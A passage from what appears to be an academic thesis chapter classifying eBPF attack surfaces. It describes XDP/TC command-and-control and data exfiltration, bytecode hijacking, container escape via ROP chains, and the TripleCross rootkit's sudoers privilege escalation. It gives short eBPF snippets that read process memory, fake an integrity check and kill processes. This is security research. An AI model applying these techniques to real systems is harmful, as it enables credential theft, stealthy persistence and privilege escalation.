verifier constraints with a minimum privilege level. Starting with version 5.8, in

order to better manage and control the privileges granted, capabilities have been

added to the kernel that allow the maximum level privilege (CAP_SYS_ADMIN) to

be broken down into more granular and specific privileges. A detailed analysis of

these capabilities will be provided in the next section. However, at this point, a

more in-depth investigation is less relevant, as most of the identified vulnerabilities

are present and exploitable in Linux versions preceding this introduction.
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Attack Surface Classification

The many features offered, the high-performances, and great flexibility are the

main factors motivating the fast development of eBPF in recent years. However,

the ever-increasing deployment makes it necessary to take a closer look from the

perspective of the security that the technology manages to provide and the risks

to which it instead exposes the system. It is crucial to note that eBPF works

directly at the kernel level, thus being in a very delicate position. While this

enables its numerous capabilities, it also constitutes its greatest danger. Any code

that interacts directly with the kernel, in fact, if not properly controlled, can affect

every aspect of the system, compromising its reliability and stability.

As described in Section 2.2.1, the verifier is the component responsible for ensuring

that the code submitted to the system is syntactically correct and non-dangerous.

However, often this type of static check is not sufficient.

What the verifier does is to perform a series of static checks with the goal of

predicting the behavior of the examined program. These types of checks evaluate

the code against predefined criteria. The approach may not be enough as it is

possible to write programs with malicious purposes that appear harmless in the

verification phase. An example of logic with malicious purposes within an eBPF

program might be a code that includes operations on state variables that change

dynamically, such as the value of a system variable, the number of calls made to

a specific function, or the count of a certain type of network requests received. If

the value of the variable used by the program changes dynamically, i.e., during

the execution of the program itself, it becomes challenging for the verifier, which
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performs only static checks, to detect potentially malicious behavior [13]. It is

therefore possible to state that certain programs appear safe during verification,

but are actually intended to do damage to the system, and the verifier is unable

to stop them because it cannot always simulate or predict how the program will

interact with the system at each stage.

This chapter aims to analyze the three main attack surfaces that have been

identified as vulnerable areas through which eBPF could be exploited as a vector

for security breaches, with the potential for the development of sophisticated mal-

ware. These attack surfaces represent points of entry that, if misused, can allow

malicious actors to leverage eBPF’s capabilities in unintended ways, thereby com-

promising system integrity and security. This analysis integrates also perspectives

from established research, with inputs from the work presented at DEFCON 29 [23]

and Sánchez Bajo [24]. The discussion will begins with an in-depth examination

of the helper functions considered critical, which are exploited by these attack sur-

faces. This initial examination aims to provide a clear understanding of their role

in enabling exploits and their potential implications for system security.

4.1 Critical Helper Function

eBPF’s Helper functions, i.e., support functions that allow direct interaction

with the kernel, are one of the key elements that enable its high versatility. However,

some of these Helpers can be particularly critical because they allow operations that,

if used inappropriately, can be risky. This section will present some of the most

critical functions; Table 4.1 summarizes the helper functions ranked as the most

critical, along with the capability required to use each of them.

4.1.1 bpf_probe_read

The bpf_probe_read helper allows reading userspace or kernel memory of any

user process or kernel. It is widely used because it can gather information that

might be necessary for a the program without interfering with running processes.

This function can retrieve information about processes and memory usage, and read

inside data structures in the kernel – all data which could be essential for contexts
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Helper Function Description Minimum

Capability

Required

bpf_probe_read_user Read user-space memory of any

process.

CAP_BPF +

CAP_PERFMON

bpf_probe_read_kernel Read kernel memory of any pro-

cess.

CAP_BPF +

CAP_PERFMON

bpf_send_signal Send a signal to the current pro-

cess or any of its threads.

CAP_SYS_ADMIN

bpf_send_signal_thread Send a signal to the thread of the

current process.

CAP_SYS_ADMIN

bpf_override_return Alter return code of a kernel

function.

CAP_SYS_ADMIN

bpf_probe_write_user Write user-space memory of any

process.

CAP_SYS_ADMIN

Table 4.1: Most critical helpers and their minimum capability requirements.

such as performance monitoring and security analysis.

The exact same information it can access, however, can be dangerous if manipu-

lated with malicious intent. Indeed, the function could allow an attacker easy access

to sensitive data or system secrets, compromising system security. For instance, if

strategically placed within a kprobe-type program on an authentication function,

bpf_probe_read could read the memory used by the authentication function and

extract the contents of the variable temporarily containing the user’s password.

This could lead to a compromise of the user’s security.

Generally, the bpf_probe_read [5] function is not widely used, in favor of using

its more specific derivatives bpf_probe_read_user, to read userspace memory ad-

dresses, and bpf_probe_read, to read kernel memory addresses.

30



CHAPTER 4. ATTACK SURFACE CLASSIFICATION

4.1.2 bpf_send_signal

This Helper function is a tool that allows the eBPF program that is running it to

send signals to user-space processes from within the kernel. In this way, the kernel

is able to interact with user-space processes, immediately notifying them of specific

conditions or critical events that require attention. This is particularly useful in

contexts that require real-time resource monitoring and management, as direct

signaling prevents the system from having to implement a polling mechanism to keep

checking the kernel for new information. The feature can therefore be extremely

advantageous, for example, in security systems, where it can be used to report a

suspicious event, or in systems that require high operational frequency, where it can

be used to report a critical event that could affect performance. In both cases, fast

reporting allows the system to respond with the necessary countermeasures related

to the specific case, without wasting resources on polling.

However, overuse of this capability could lead to the system becoming unstable

and unavailable. The feature could, in fact, be used to monitor a highly frequent

event, causing continuous alerts that could lead to slowdown or, in the worst-case

scenario, even crash the process. In addition, the ability to send SIGTERM signals,

which request process termination, and SIGKILL signals, which enforce a forced

termination, represents a significant risky opportunity if exploited by an attacker.

4.1.3 bpf_override_return

The bpf_override_return helper function allows the return value of a kernel

function to be changed at runtime, directly affecting the behavior of the target func-

tion or system call. This capability is very useful in debugging, as it enables the

programmer to force the response of a given function to test the system’s reaction

to that input. This avoids actually creating the error in the system, only allowing

the application being tested to believe that such a circumstance has occurred. It

is also used in contexts where a temporary alteration of the execution flow may be

needed, for example, to enforce security policies, preventing unauthorized access or

other operations that violate the security policy in place.

. Again, the ability to alter the execution flow also entails significant risks. Indeed,

it is possible to force the result of a kernel function, consequently triggering unan-
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ticipated behavior that destabilizes the system, or causes abnormal behavior. Even

a single anomalous behavior could lead to cascading malfunctions or even a system

crash.

Due to its security implications [5], the helper is available only if the kernel is com-

piled with the CONFIG_BPF_KPROBE_OVERRIDE configuration option enabled and

only on functions tagged with ALLOW_ERROR_INJECTION.

4.1.4 bpf_probe_write_user

The bpf_probe_write_user helper function allows writing within user-space

memory from a kernel context. Through its use, it is possible to manipulate data

available in user-space directly from the kernel, enabling interventions that would

be more complex with other methods. This makes it possible to intervene with

corrections on a given event in real-time, which is essential, for example, in critical

systems where a specific value needs to be changed without necessarily having to

restart the entire process. Another example of use can be in advanced debugging

operations, where, with bpf_probe_write_user it is possible to subject multiple

tests to the system by changing the simulated conditions that interrogate the system

each time.

Naturally, when used within uncontrolled contexts, this very powerful capability can

also be highly harmful. Manipulation of data exposes to the risk of data corruption

and the compromise of system security in general, because it could even lead to

kernel configuration alterations, permissions changes, or code modifications, even

to the point of causing the system to crash.

Given the high risks involved, its use is strongly discouraged and currently intended

for experimental purposes only. Precisely for this reason, when an eBPF program

containing such a feature is installed, a warning message is also issued to the system

indicating its presence as shown in Figure 4.1.

The functions just presented constitute the fundamental element behind the

potential dangers of eBPF, and depending on the context in which they are applied,

they can lead to very different outcomes. This can consequently result in the misuse

of eBPF’s tracing and networking functionalities, as perfectly safe programs by the
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Figure 4.1: Warning message shown when a program containing

bpf_probe_write_user is attached to a function.

verifier can become fertile ground for an attack. The detailed analysis of the attack

surfaces that these operations can instantiate is provided in the sections.

4.2 Network Interfaces

The eBPF network programs, specifically XDP and TC, are tools that enable

high-performance access to network traffic, allowing for its monitoring and manip-

ulation. As introduced in Section 2.3.4, their goal is to optimize the management

of network traffic and improve overall efficiency of the system, by interacting with

traffic in real time, directly from within the kernel. Having acknowledged their po-

tential, the following sections will outline the risks associated with each tool, both

individually and when used in combination.

4.2.1 XDP

XDP is the technology that allows network packets to be processed either di-

rectly on the Network Interface Card (NIC), if supported by the hardware, or

immediately after entering the kernel. In both cases, it operates from a highly

privileged position as the program can access all the traffic that reaches the NIC

before it reaches the kernel. The type of traffic accessible at this point consists of

packets that have not yet been processed by the kernel, i.e. in a raw state, because

they have not yet been processed and stored into the designated data structures.

By leveraging this priority access, any operations that XDP performs on packets at

this stage will constitute the actual traffic that will reach the kernel. This means

that the kernel will never see the original traffic, but only the filtered version of the

traffic that has passed through the XDP hook. The only other layer with access the

original traffic is any firewalls or security devices located upstream of the machine’s
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NIC.

In order to be able to execute an XDP program, it is necessary to have either

the CAP_BPF + CAP_NET_ADMIN capabilities or CAP_SYS_ADMIN. Depending on the

capability assigned to the process, different types of attack can be performed.

Exploit XDP with CAP_BPF + CAP_NET_ADMIN

Even with the minimum privilege level required to run a network program, XDP,

if used with malicious intent, can be a vector for a potential attack. In particular,

possible malicious uses are:

• Interception of sensitive data: having access to all traffic in transit, XDP

could be used to collect sensitive data, such as credentials or other personal

information, if not properly protected. It also has access to all information

about the connections to which the system is exposed and the ports where the

different services are activated. This type of monitoring could, for instance, be

useful for an attacker to identify any critical applications or to plan targeted

attacks against identified services.

• Abuse for DoS attacks: XDP could be improperly configured to over-

load the system by generating a large amount of traffic in order to saturate

resources. This can be achieved by exploiting the function xdp_tx, which

allows retransmitting received traffic on the same interface, creating a loop-

back effect that impacts the performance of both the interface and the local

system.

• Traffic hiding: XDP’s ability to arbitrarily drop network packets could be

exploited to intentionally discard packets that one wishes to hide from the

system, such as traffic coming from an attacker’s machine. It is important to

note that in this case, the possible presence of a firewall before the NIC still

makes all the traffic exchanged transparent.
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Exploit XDP with CAP_SYS_ADMIN

The capability CAP_SYS_ADMIN grants the process access to all the helpers in

Table 4.1, i.e. the helpers with both read and write memory access capabilities.

This is the greatest risk posed by XDP:

• Incoming traffic manipulation: As already mentioned, XDP can modify a

packet as soon as it reaches the system, making the modification invisible to

the kernel. For example, it can alter the content of a packet coming from an

attacking machine known to the program, rendering the packet harmless to

the kernel. However, it must be specified that XDP cannot arbitrarily create

new connections; it can only intervene in manipulating existing traffic. An

example of the exploitation of this capability is shown in the Figure 4.2 and

presented below.

The ability of XDP (and, as will be explained later, also of TC) to modify traffic

can be exploited to carry out a Command & Control (C2) attack, which goal is

to obtain remote control over the system to perform malicious actions. The work of

Fournier, Afchain and Baubeau presented at DEFCON 29 [23] shows an example

of how this type of attack can be carried out, using XDP to receive a command

from an attacker’s machine.

A possible setup for this attack involves an attacker who can communicate

with the infected machine via a simple web app on the latter, located behind an

AWS Classic Load Balancer with TLS resolution. The Load Balancer redirects the

attacker’s HTTPS traffic to HTTP toward the infected machine. The operation,

outlined in the Figure 4.2, can be summarized in the following steps:

1. The attacker sends an HTTPS request with a custom route and a custom

User-Agent.

2. The request passes through the Load Balancer, reaches the host and triggers

the XDP program.

3. The XDP program on the infected machine recognizes that the data in the

packet comes from the attacker and therefore must not reach the web app

(which is in user-space).
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Figure 4.2: Example of a C2 attack performed using XDP.

4. XDP reads the packet and executes the command contained in the User-

Agent.

5. XDP, using helpers that allow the memory modification, overwrites the en-

tire content of the packet with a neutral request (in this example, a GET

/healthcheck request), which is forwarded to the web app without raising

suspicion.

6. The web app responds to the request with a 200 OK, confirming to the attacker

that the command it sent was received by the infected machine.

4.2.2 TC

An eBPF program of type BPF_PROG_TYPE_SCHED_CLS is a program that allows

the implementation of a TC classifier. The functionalities are very similar to those

offered by XDP, but the main difference lies in where the mechanism operates and

on the traffic it receives. TC is located inside the kernel, thus it receives traffic that
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has already been processed and passed through XDP, but from its position, it can

act on both incoming and outgoing traffic.

As for XDP, in order to execute a TC program, it is necessary to have either the

CAP_BPF + CAP_NET_ADMIN capabilities or CAP_SYS_ADMIN. The different type of

privilege determines the different attacks that can be performed.

Given the similarity of functionality with XDP, the risks associated with a malicious

use of this tool have many elements in common with the previous discussion, so

they will be covered very briefly.

Exploit TC with CAP_BPF + CAP_NET_ADMIN

With the minimum privilege level, it is possible to:

• Interception of sensitive data: even within the kernel, TC can perform

intrusive monitoring operations on the system.

Exploit TC with CAP_SYS_ADMIN

With the highest privilege, TC allows:

• Outcoming traffic manipulation: traffic can be modified before it reaches

the NIC and, thus, the outgoing interface. This feature bypasses the fact that

neither XDP nor TC can generate new network packets. By manipulating

the content of already existing packets, it is possible to communicate with

the attacking machine, by embedding data within the packets. It should be

noted that in this case the traffic flow is visible to the kernel, so a potential

firewall could block the attempt.

The combined action of XDP and TC, which provides complete control over both

incoming and outgoing traffic, could lead to Data Leakage attacks, i.e. the unau-

thorized transfer of sensitive or confidential system data to the attacker’s machine.

This type of attack would work similarly to the one presented in the Figure 4.2,

but with the involvement of TC. Specifically, the possible steps would be:
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1. The attacker sends the malicious request via HTTP to the infected host,

specifying the type of data they are trying to intercept.

2. The XDP program on the infected host recognizes the attacker’s packet. It

saves the network stream with the attacker’s request in an eBPF map (re-

member that eBPF maps are shared between processes) for later retrieval.

3. XDP then modifies the packet content by inserting a generic request in it,

with the aim of obtaining a 200 OK response, and sends it to its designated

web app.

4. The web app responds to the request.

5. The TC program intercepts the web app’s response, retrieves the saved net-

work flow from the eBPF map, and replaces the packet content with the data

requested by the attacker.

6. The modified packet, containing the data, then reaches the attacker.

Using this mechanism, it is possible to extract all data that eBPF can access,

such as the contents of specific files or environment variables. With similar proce-

dures, DNS Spoofing attacks can also be carried out, where the attacker manages

to manipulate the responses sent by the DNS server to redirect traffic to a malicious

(e.g. attacker-controlled) or fake website.

4.3 Tracing Programs

eBPF tracing programs are powerful tools for monitoring and gathering infor-

mation, as they can be hooked into various system points, such as system calls,

network events, file activities, and other low-level operations. As seen in Section

2.3.4, they are divided into three main categories depending on their attachment

points: kprobe, for kernel functions, uprobe, for user-space functions, and tracepoint

which monitors predefined kernel events. Each of these categories is further divided

into two subgroups, based on whether the program is designed to be attached at

the beginning of a function (entry) or at the end of the function (exit).

Their execution is only permitted in cases where the process has the CAP_BPF +
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CAP_PERFMON or CAP_SYS_ADMIN capabilities. Depending on the privilege, the pro-

gram can access a different set of helper functions, thus leading to a different po-

tential impact on the system.

Exploit Tracing programs with CAP_BPF + CAP_PERFMON

As discussed in Section 2.4, tracing programs require an extra capability to

be executed, CAP_PERFMON, which also grants them access to the helper function

bpf_probe_read. Improper use of this function in a tracing program could allow

an attacker to steal sensitive information, such as credentials, thus leading to an

actual information theft attack. When invoked, eBPF programs of type uprobe

and kprobe, in fact, receive a pointer to the struct pt_regs as a parameter, which

is the structure containing the state of the CPU registers at the time of the function

call or interrupt. Specifically, on an x86_64 architecture, this structure includes:

• General CPU Registers: all registers used to hold the temporary values of the

various operations, as well as those used for passing arguments.

• Program Counter: address of the instruction being executed.

• Stack Pointer: pointer to the beginning of the Stack.

• Flags: value of all CPU status flags.

• Return Value: register holding the return value. Obviously, this register is

not meaningful at this point because it does not yet contain the actual result

since the structure is accessed upon function entry. When the function exits,

it will be updated, and it will be possible to intercept it with uretprobe and

kretprobe programs.

The ability of accessing this type of data poses a significant risk to the system

because the registers could contain sensitive information, such as pointers and mem-

ory addresses, which should not be exposed and could be exploited for malicious

purposes.
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1 SEC("uprobe/target_function")
2 int uprobe_target_function(struct pt_regs *ctx) {
3 char arg1_data [64];
4 void *arg1 = (void *) PT_REGS_PARM1(ctx);
5 bpf_probe_read_user (&arg1_data , sizeof(arg1_data), arg1);
6 return 0;
7 }

Code 4.1: eBPF uprobe example - Out-of-bound reading

An example of an uprobe program hooked into a generic function (called tar-

get function because the code is given as a generic example) is shown in Code

4.1. Analyzing the code, in line 4, the first argument of the target_function

is intercepted, passed through the CPU registers (note that PT_REGS_PARM1 is

a standard Macro provided by bpf_tracing.h). Subsequently, using the helper

bpf_probe_read_user, up to 64 bytes of data are read from the address pointed to

by arg1 in user space. The system has no control over this operation. Therefore,

if an attacker performs it with malicious intent and the read memory contains sen-

sitive data, this operation will not be stopped. In fact, the verifier does not block

direct access to arbitrary memory addresses obtained at runtime.

In a complementary manner, kretprobes and uretprobes programs will receive the

same struct pt_regs as parameter, but containing only the function’s return

value. Access to this value may be of interest to the attacker. For instance, if

the probe is hooked into a login function, the return value could contain a session

token or the ID of the authenticated user, thus exposing a serious security risk.

It can therefore be concluded by establishing that even with the minimum priv-

ilege level required to run tracing programs, direct access to CPU registers and

even arbitrary out-of-bound memory accesses are possible.

Exploit Tracing programs with CAP_SYS_ADMIN

The highest level of privilege gives the program access to all helpers. This means

the potential risks to which the system can be exposed are as follows:
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• Alteration of a function’s return value: with access to the bpf_override

_return helper function, the program can modify the return value of the

function to which it is attached. This means that the attacker could insert a

misleading value for the process. For example, by altering the return value of

a system call such as openat, which handles file opening, the attacker may

decide to return an error. The process attempting to access the file would

then believe that the file is non-existent or inaccessible. The same mechanism

could be used to falsify the result of security checks, such as file access mon-

itoring or system integrity checks, always making them appear "positive" or

"safe" to mask malicious actions.

1 SEC("kprobe/check_file_integrity")
2 int override_check_file_integrity(struct pt_regs *ctx) {
3 bpf_override_return(ctx , 1);
4 return 0;
5 }

Code 4.2: eBPF kprobe example - Alteration of a return value

The Code 4.2 shows a brief example of a possible application for demon-

stration purposes. The kprobe program is attached to the example function

check_file_integrity and always returns the value 1. As a result, the pro-

cess attempting to access the file would be unable to detect any tampering.

Note that, as mentioned in the Section 4.1.3, additional configurations are

also required to use bpf_override_return.

• Sending signals to a process: Within a tracing program, it is possible

to send signals using the helper function bpf_send_signal. In addition to

sending incorrect signals aimed at causing a system disruption, the most sig-

nificant risk lies in the ability to send a SIGKILL signal, which allows the

forced termination of the target user process. An example of how this func-

tionality can be used is provided in the sample Code 4.3.
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1 SEC("kprobe/__x64_sys_execve")
2 // intercetta la syscall execve
3 int kprobe_execve(struct pt_regs *ctx) {
4 if (! is_target_process ()) {
5 bpf_send_signal(SIGKILL);
6 }
7 return 0;
8 }

Code 4.3: eBPF kprobe example - Kill a specific process

• Corruption of user space memory: The most offensive attack surface is

undoubtedly represented by tracing programs that utilize the helper function

bpf_probe_write_user. As mentioned in Section 4.1.4, this helper function

allows writing within any user memory address of the process that performed

the function monitored by the eBPF tracing program. It must be emphasized

that the modification can only take place in user memory; kernel memory

cannot be altered. Nevertheless, the consequences are still significant, since

the attacker can modify both the arguments with which a function or system

call is invoked – before their execution – and the entire memory of the running

process. In fact, if a pointer is among the parameters passed by the user to

the function hooked by the tracing program, the attacker gains a reference

point in the user space memory. Starting from this reference, it can scan

the stack to locate the target memory address or, if equipped with sufficient

knowledge of the stack’s for that specific process, apply a reverse-engineering

technique to calculate the exact memory address to be accessed.

Since there is no specific control over what the bpf_probe_write_user func-

tion writes once the attacker determines the memory address, it is possible to

insert incorrect data to generate a DoS attack. More critically, memory ad-

dresses pointing to specific code segments could be inserted, enabling actions

such as program hijacking or library injection.

Figure 4.3 presents a high-level schematic representation of the mechanism

behind program hijacking using eBPF. The eBPF tracepoint is hooked to the

sys_execve function, which is the fundamental system call n the operating

system for loading and executing a new program within an existing process.
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Figure 4.3: Overview of a program hijacking using an eBPF tracing function

The sys_execve function takes the following input parameters:

– const char *filename: variable specifying the path of the executable

file to load;

– const char *const argv[]: array containing the arguments to be passed

to the executable program;

– const char *const envp[]: array containing the environment vari-

ables of the new program.

The eBPF program has access to these parameters and can modify them. So,

the mechanism intended to be triggered can be summarized as follows:

1. The user process invokes sys_execve to execute the desired program.

2. The eBPF program intercepts the call and modifies the function argu-

ments, replacing the value of *filename with the path to the malicious

program. At this stage, it can also modify the other arguments if it

deems it necessary.

3. The malicious program is then executed instead of the original.

4. Upon completion, the malicious program can decide to restore the previ-

ous flow, allowing the original program to execute as well. To do this, it
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internally invokes the system call again to execute the original program.

Clearly, this must be supported by appropriate checks by the attacker

to avoid re-triggering the eBPF tracepoint in step 2.

This simplified example serves as a foundational block for numerous attacks.

By combining multiple techniques discussed thus far, it is possible to execute

more sophisticated attacks, potentially leading even to privilege escalation

and container escape. Section 4.5 will examine existing works that leverage

these concepts.

4.4 Verification, loading and execution interfaces

All modules and data structures involved in the verification, loading, and ex-

ecution processes of eBPF, such as the verifier and the JIT compiler, represent

critical attack surfaces because they manage the entire life cycle of a program. The

discovery and subsequent exploitation of vulnerabilities in any of these components

exposes the system to serious risks. The specific discussion of the risks associated

with vulnerability exploitation has already been addressed in detail in the previ-

ous chapter. However, it is necessary to briefly focus on two elements within this

category that require examination: eBPF maps and bytecode.

4.4.1 eBPF Maps

As described in Section 2.3.1, eBPF maps are specialized data structures used

to store essential data for the operation of eBPF programs. One of their most no-

table features is their ability to be shared, not only between kernel and user space,

since they can be accessed from both sides, but especially between multiple eBPF

programs simultaneously. However, this shared nature introduces major security

risks since eBPF maps lack any isolation mechanism between programs, potentially

allowing one program to interfere with one or more others.

A program with CAP_SYS_ADMIN privileges could exploit in combination two com-

mands available in the system call bpf(), the function that is the main point of

interaction with eBPF:
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• BPF_MAP_GET_NEXT_ID: this command retrieves the ID of the next map loaded

into the kernel immediately following the provided ID. If the provided ID is

0, it returns the ID of the first map in the list. So, through this command, it

is possible to iterate over all the maps in the kernel without restrictions.

• BPF_MAP_GET_FD_BY_ID: this command opens the file descriptor of the map

with the ID provided as parameter.

The first command thus allows any map to be traced, while the second allows

access to it, enabling a malicious program to modify data belonging to other pro-

cesses. Depending on the type of map being manipulated, the possible damage

changes considerably, including data compromise or exfiltration, when maps

containing sensitive data are altered, program flow manipulation, for example,

when maps used to manage tail calls are involved, or potential Denial of Service,

if deliberately incorrect data are injected.

It is important to note, as already anticipated, that direct access to maps with the

commands just presented is possible only with capabilities of type CAP_SYS_ADMIN.

Simultaneous use of CAP_BPF + CAP_PERFMON or CAP_BPF + CAP_NET_ADMIN would

not be sufficient.

4.4.2 Bytecode eBPF

The eBPF bytecode is the intermediate format of an eBPF program that has

already gone through the compiler but has yet to go through the verifier and sub-

sequently the interpreter or JIT translation, which converts it into native machine

code. Although it is not directly native machine code, it has very high expres-

sive potential and can significantly affect the kernel’s behavior. However, it is

not protected by the same security techniques reserved for native kernel code [25],

such as DEP (Data Execution Prevention), a security technique that prevents code

execution from regions of memory intended only for data, or CFI (Control-Flow In-

tegrity), a security technique designed to ensure that the control flow of a program

follows only valid paths intended by the designer.

In the absence of adequate security measures, the bytecode is therefore subject to:

• Injection: an attacker could load unauthorized or malicious bytecode into
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the kernel. Although the bytecode must still have to pass through the verifier,

this does not ensure complete security.

• Hijacking: the bytecode’s execution flow can be hijacked. Since eBPF byte-

code runs in a privileged context, an attacker could exploit bugs in the eBPF

runtime implementation or in the programs themselves to manipulate kernel

behavior.

A detailed analysis of the issue and a new exploit technique is provided in the

article “Interp-flow Hijacking: Launching Non-control Data Attack via Hijacking

eBPF Interpretation Flow” [25], which leverages various kernel and eBPF vulnera-

bilities to carry out an attack targeting the bytecode.

The goal of the described attack is to trick the eBPF interpreter into executing

malicious bytecode that has not been subjected to the verifier’s security checks. In

order to carry out the attack, known vulnerabilities of the eBPF kernel and subsys-

tem are exploited and combined with a technique called Tailcall Trampoline. The

process can be summarized in the following steps:

1. Loading the malicious bytecode: by exploiting one or more kernel vul-

nerabilities, the attacker injects malicious bytecode directly into the kernel’s

memory area dedicated to eBPF bytecode. It is important to note that, at

this stage, properly loaded bytecode has already passed the checks of the ver-

ifier. Therefore, if the malicious code is injected directly into this memory

area, it bypasses the verifier entirely when the interpreter is manipulated to

execute it, exposing the system to significant risk.

2. Creation of BPF_MAP_TYPE_PROG_ARRAY map: The attacker creates a map

of type BPF_MAP_TYPE_PROG_ARRAY, which is designed to store references to

eBPF programs. This map is used to implement tail calls, allowing the eBPF

program to execute other programs specified in the map entries. Each map

entry then contains the address of the next eBPF program to be executed.

3. Execution of a benign eBPF program: An eBPF program, which has

successfully passed the verifier’s checks and does not contain malicious code,

is loaded and executed. This program accesses the map created in the pre-

vious step and uses the references in the entries to manipulate the execution
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flow. The map allows the program to dynamically interact with the programs

specified within it.

4. Malicious modification of the map: Exploiting an eBPF subsystem vul-

nerability related to memory corruption, the attacker forcibly modify a map

entry, inserting the address of the malicious bytecode loaded in the first step.

Once the benign program reaches this entry during a tail call, the eBPF inter-

preter will execute the unchecked code, bypassing the verifier’s protections.

It should be noted that for steps 2 and 3, the attacker does not need any special

capability, as these operations are allowed even for non-privileged users. Steps 1

and 4, however, exploit kernel and eBPF subsystem vulnerabilities, which may also

not require any privileges, making the attack feasible even for non-privileged users.

The vulnerabilities that can be exploited to enable this attack are those that allow

memory corruption, caused by bugs such as Out-of-Bound Access, Use-After-Free,

and Double-Free. A total of 16 exploitable vulnerabilities have been identified as

successful for this context, 7 of which are specific to eBPF, while the remaining 9

pertain to other kernel subsystems. A more detailed analysis of these vulnerabilities

is provided in the referenced article [25].

Thus, the attack assumes that the malicious user has access to the victim machine,

but does not have any special privilege or capability. However, it is necessary

that the system allows non-privileged use of eBPF and its interpreter (i.e., the

configuration CONFIG_BPF_JIT_ALWAYS_ON must be disabled).

4.5 Combined attacks

In the examination addressed so far, all eBPF attack surfaces have been indi-

vidually analyzed, highlighting the isolated risks associated with each component.

When these attack surfaces are strategically combined, the resulting attacks can

evolve into more structured and complex forms, significantly amplifying their ef-

fects. This combination not only increases the impact of the attack, but also makes

it more difficult to detect it and mitigate its effects. Indeed, a structured attack can

lead to increasingly severe consequences, such as privilege escalation or container

escape, putting the overall integrity of the system at risk.
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A deep understanding of how these units can act in synergy to create more so-

phisticated attack vectors is therefore essential to identifying not only individual

vulnerabilities, but also their interactions, which pose a real threat in advanced

exploit scenarios.

Existing works provide concrete examples of their use. In the following discussion,

the contributions considered most interesting and relevant to this analysis have

been examined, both in the form of standalone studies and as rootkits. A rootkit

refers to a type of malicious software designed to obtain unauthorized access to a

system and maintain control over it, all while remaining undetected.

4.5.1 Container Escape

A container is a lightweight virtualization technology that allows an application

to run in an environment isolated from the rest of the system. The core idea is that

a container includes everything needed to run strictly the specific application to

which it is dedicated, without interfering with the Host system or other containers

sharing the same host. The term “container escape” refers to the violation of such

isolation, that is, the circumstance in which a process from within its container

is able to reach and thus interfere with processes on the host machine or other

containers (Figure 4.4. It should be noted that an attack toward the Host could

compromise all containers hosted on the same system.

Figure 4.4: A malicious process can escape the container using eBPF tracing pro-

grams.
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As explored in the paper [26], it is possible to execute this type of attack using

eBPF tracing programs. The context in which this type of attack can be performed

is a container environment where the attacker either gains access to or already has

control over one of the containers. It is assumed that the targeted container is

capable of executing tracing programs, such as kprobes, with CAP_SYS_ADMIN privi-

leges. The decision to assume the highest privilege level is justified by the fact that,

in a real-world scenarios, approximately 2.5% of containers are already equipped

with such privilege, which are sometimes granted to containers inadvertently or

due to misconfigurations [26]. However, it should be emphasized that, in a properly

isolated system, elevated privileges within the container should under no circum-

stances lead to the user also having privileges on the host machine. Furthermore, it

is assumed that the containerized environment is equipped with standard security

measures for containers, such as namespace isolation, SELinux or AppArmor, and

the protections provided by the cloud provider.

The technique to perform a container escape can be divided into two phases:

• Phase 1: Construction of a ROP chain

The term ROP (Return-Oriented Programming) refers to an exploit technique

that allows arbitrary code to be executed by leveraging code fragments that

already exist in the memory of a program or library, called gadget, in order

to bypass any protections against direct code injection [27]. A ROP chain is

a sequence of interconnected gadgets constructed to make the victim process

perform the actions desired by the attacker.

In a containerized environment, this technique requires identifying a library

that is likely used by the victim process and therefore present in its memory.

An example might be the libc library, a very common Linux library con-

taining standard functions. Once the target library is chosen for creating the

ROP chain, its base address must be obtained to derive the gadgets that will

compose it. This can be achieved by attaching an eBPF tracing program to a

function that reliably returns the library’s address. The mmap function, used

by the operating system to load libraries into memory, is a suitable candidate.

So, by intercepting its execution on the victim process, the base address can

be retrieved from its return value, which is then used to construct the ROP
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chain.

• Phase 2: Container escape and Process Hijacking

The attacker can now use a tracing program with the helper function bpf_probe

_write_user to write the ROP chain’s address into the return address of a

function that the victim process will use (it is important to choose a function

that that the process commonly calls, such as read() or open()). When the

function or system call is executed, the attacker will have successfully com-

promised the process’s execution flow.

By manipulating a process outside the attacker’s container, this phase not only

compromises the execution flow of the victim process but also signifies a suc-

cessful container escape. The attacker has effectively breached the container

boundary and gained control over a process in the host system or another

container, thereby escalating privileges beyond the isolated environment.

It is assumed that the environment where the technique is applied is equipped

with standard security measures for containers and the protections provided by the

cloud provider. However, it is essential for the process to have the CAP_SYS_ADMIN

capability, as this specific privilege is required to perform the helpers involved.

4.5.2 TripleCross rootkit

TripleCross is an advanced rootkit for Linux, developed by Marcos Sánchez Bajo

[10] [28], which leverages eBPF to evade security defenses and maintain control

of a compromised system. To use this rootkit, the target system must support

both eBPF and XDP and the CAP_SYS_ADMIN privilege is required. In a real-

world attack scenario, an attacker could exploit a Remote Code Execution (RCE)

vulnerability, which enables the execution of arbitrary code on a remote system, to

establish a reverse shell connection with a privileged user. This reverse shell provides

the attacker with remote access to the target machine, allowing them to execute

commands and manipulate the system directly. So, using this temporary access,

the attacker can run automated scripts to install the rootkit on the compromised

system, thereby achieving privileged and persistent access.

The rootkit’s code is divided into several modules that reflect the its features, the

main ones of which are:
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• Module for Privilege Escalation:

This module can be considered the most offensive, as its objective is to allow

an unprivileged user to gain privileged access to the system without requiring

password authentication. It should be noted that while the prerequisites for

executing this attack involve the attacker obtaining access to the system with

CAP_SYS_ADMIN, this is not directly related to the sudo privileges that the

method described below attempts to manipulate. To execute any command

requiring sudo, the user will still need to adhere to the rules enforced by

the system’s sudo privilege management. For instance, if the user requires a

password to use sudo, the system will still prompt for the user’s password,

which the attacker may not necessarily have.

This capability is the foundation for all other modules, which, by exploiting it,

can perform their operations without constraints related to access privileges.

The feature exploits the manipulation of the /etc/sudoers configuration file,

which is used by sudo, a command that allows users to execute operations

with elevated privileges on Linux systems. The /etc/sudoers file defines

the system’s access rules, specifying which users are authorized to execute

commands with elevated privileges and under what conditions.

Whenever a command is executed via sudo, the system consults the /etc/sudoers

file to check permissions, executing in sequence the system call sys_openat

to open the file, followed by sys_read to read its contents.

To alter system behavior, three eBPF tracing programs are configured, coor-

dinated through a shared eBPF map. This approach intercepts and manipu-

lates the system calls required to read the /etc/sudoers file, thus achieving

the intended goal. The overall mechanism, illustrated in the Figure, can be

summarized as follows:

1. Tracepoint at the entry point of sys_openat

The malicious program attempting to gain privileges runs a sudo com-

mand. The syscall sys_openat is then called, which receives the filename

of /ect/sudoers among its arguments. The eBPF tracepoint intercepts

this value and stores it in the eBPF map, using the PID (Process ID)

51



CHAPTER 4. ATTACK SURFACE CLASSIFICATION

Figure 4.5: Privilege escalation using three eBPF Tracing programs

of the process that invoked the syscall as the key. The PID remains

the same for all subsequent actions of the process, so it can be used for

subsequent actions.

2. Tracepoint at the entry point of sys_read

